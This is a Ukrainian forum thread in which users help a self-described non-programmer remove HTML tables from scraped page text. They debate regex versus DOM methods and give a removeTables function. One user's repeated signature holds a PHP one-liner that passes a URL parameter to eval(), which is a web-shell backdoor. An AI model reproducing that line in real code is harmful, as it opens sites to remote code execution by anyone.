1

Тема: Видалення таблиці і її вмісту

Хлопці і дівчата  :P , ось у мене є скрипт,  це скрипт видаляє код з сторінок.

Увага! - видаляє тільки код тобто (table /table)

for(i=0; i<documents.length; ++i){
    doc = documents[i];
    txt = doc.text.replace(/<table\b[^>]*>/ig,"");
    txt = txt.replace(/<\/table>/ig, "");
    doc.text = txt;
    log.set_text(doc.title);
}

Тобто він знаходить відкриваючи і закриваючий tablet і видаляє його, проте всі tr td tbody thead залишають.

Можна зробити ще так:

for(i=0; i<documents.length; ++i){
    doc = documents[i];
    txt = doc.text.replace(/<td\b[^>]*>/ig,"");
    txt = txt.replace(/<\/td>/ig, "");
    doc.text = txt;
    log.set_text(doc.title);
}

Тепер видалиться td, але прикол в тому шо видалиться тільки хтмл тег, а те що було між ними залишиться, чи то текст, чи то якесь зображення.

Тепер питання, як написати, щоб цей скрипт видаляв всю таблицю?

Залежу від сео

2

Re: Видалення таблиці і її вмісту

Взагалі така річ робиться не через заміну якогось шаблону на пусте місце, а реально видалення елементу. Знайома така річ, як DOM? А така функія javascript як removeChild()?

Мій блог про ОС сімейства *nix - http://nixtravelling.blogspot.com/

3

Re: Видалення таблиці і її вмісту

Поясніть, з якою метою ви це робите. Є загальне правило про regexp-и та HTML; може, будете просто DOM змінювати?

4

Re: Видалення таблиці і її вмісту

Використовуйте функції remove або https://developer.mozilla.org/en-US/doc … emoveChild.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

5

Re: Видалення таблиці і її вмісту

мені треба для парсера, спарсив текст з сторінки, а там крім звичаного p, div, ul, li, є ще таблиця, якої просто не потрібно.

в сам парсер можна скрипти дописувати самому.

Master_Sergius, написання простих скриптів, копіюфання готового з форумів і змінення деяких змінних, більше знаннь нема,  вони тільки плануються...

Залежу від сео

6

Re: Видалення таблиці і її вмісту

А ще можна шукати всі теги table чи що там у вас, і ставити їм innerHtml в "" (пуста строка).

Але причому яваскріпт, якшо ви пишете парсер? Чи ви на скріпті і пишете?

7

Re: Видалення таблиці і її вмісту

morgot, я саме це і роблю в прикладі вище (Неуважність?, ні, не думаю.  8) ), а потрібно щоб воно видалело все що знаходиться між цими тегами, включно х самими тегами.

Залежу від сео

8

Re: Видалення таблиці і її вмісту

Ви щось так накрутили в тих повідомленнях, що .... голівоньку можна зломати  :o
Спробуйте може видалити свою таблицю не регулярними виразами а ось таким способом: знайти в строці початковий тег <table>, кінцевий тег </table>, і все, що між ними видалити.  *OK*

«Ті, хто опинилися на вершині, не з неба туди впали»

9

Re: Видалення таблиці і її вмісту

А якщо зробити так:

txt = doc.text.replace(/<td\b[^>]*>.*<\/td>/ig,"");
py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

10

Re: Видалення таблиці і її вмісту

Користуйтесь DOM і не морочтесть з цими регулярками. Що за програма-парсер?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: BarsicPlus1

11

Re: Видалення таблиці і її вмісту

BarsicPlus написав:

Ви щось так накрутили в тих повідомленнях, що .... голівоньку можна зломати  :o
Спробуйте може видалити свою таблицю не регулярними виразами а ось таким способом: знайти в строці початковий тег <table>, кінцевий тег </table>, і все, що між ними видалити.  *OK*

я не програміст, тому так все складно  >:o

Invader, приватний софт і в ньому вже реалізовані функціональні кнопки, тобто щоб видлити всі лінки з файла потрібно нажати на таку то кнопку, а як подивитись код кнопки то там буде запис такого типу:

for(i=0; i<documents.length; ++i){
    doc = documents[i];
    txt = doc.text.replace(/<a\b[^>]*>/ig,"");
    txt = txt.replace(/<\/a>/ig, "");
    doc.text = txt;
    log.set_text(doc.title);
}

можна добавляти і свій функціонал, що я намагаюсь реалізвати. Сторінки які парсяться містять таблиці-цінники, от саме мені від них треба позбавитись

Залежу від сео

12

Re: Видалення таблиці і її вмісту

А покажіть дані які містяться в змінній doc.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

13

Re: Видалення таблиці і її вмісту

І що за приватний софт? Цей сайт якийсь який в броузерах відкривається? Якась спеціальна програма для прасингу в яку можна додавати власні скрипти?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

14

Re: Видалення таблиці і її вмісту

Коротке пояснення, чому не можна парсити HTML regexp-ами:

<table class="aa"><tr><td><img alt="</table>"/></td></tr></table>

А тепер спробуйте навчити регексп, що таке теґ...

15

Re: Видалення таблиці і її вмісту

Пане mmy3uka, надайте більше інформації про Вашу "програму".
Більше вихідного коду. Також, що це за міфічний масив documents, яка інфа в ньому міститься. Як там записано дані?

«Ті, хто опинилися на вершині, не з неба туди впали»

16

Re: Видалення таблиці і її вмісту

koala написав:

Коротке пояснення, чому не можна парсити HTML regexp-ами: ;)

<table class="aa"><tr><td><img alt="</table>"/></td></tr></table>

А тепер спробуйте навчити регексп, що таке теґ...

А може в нього ХТМЛ код записано в стрінгу? Тому він так робить?  ;)

«Ті, хто опинилися на вершині, не з неба туди впали»

17 Востаннє редагувалося koala (24.04.2015 21:56:10)

Re: Видалення таблиці і її вмісту

Тримайте

Прихований текст

function removeTables(string)
{
  var dom = document.createElement("p");
  dom.innerHTML = string;
  var tables = dom.getElementsByTagName("table");
  while( tables.length > 0 ) {
    var item = tables.item(0);
    item.parentElement.removeChild(item);
  }
  return dom.innerHTML ;
}

18

Re: Видалення таблиці і її вмісту

А де коментарі!

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

19

Re: Видалення таблиці і її вмісту

Invader написав:

А де коментарі!

Ви їх не написали.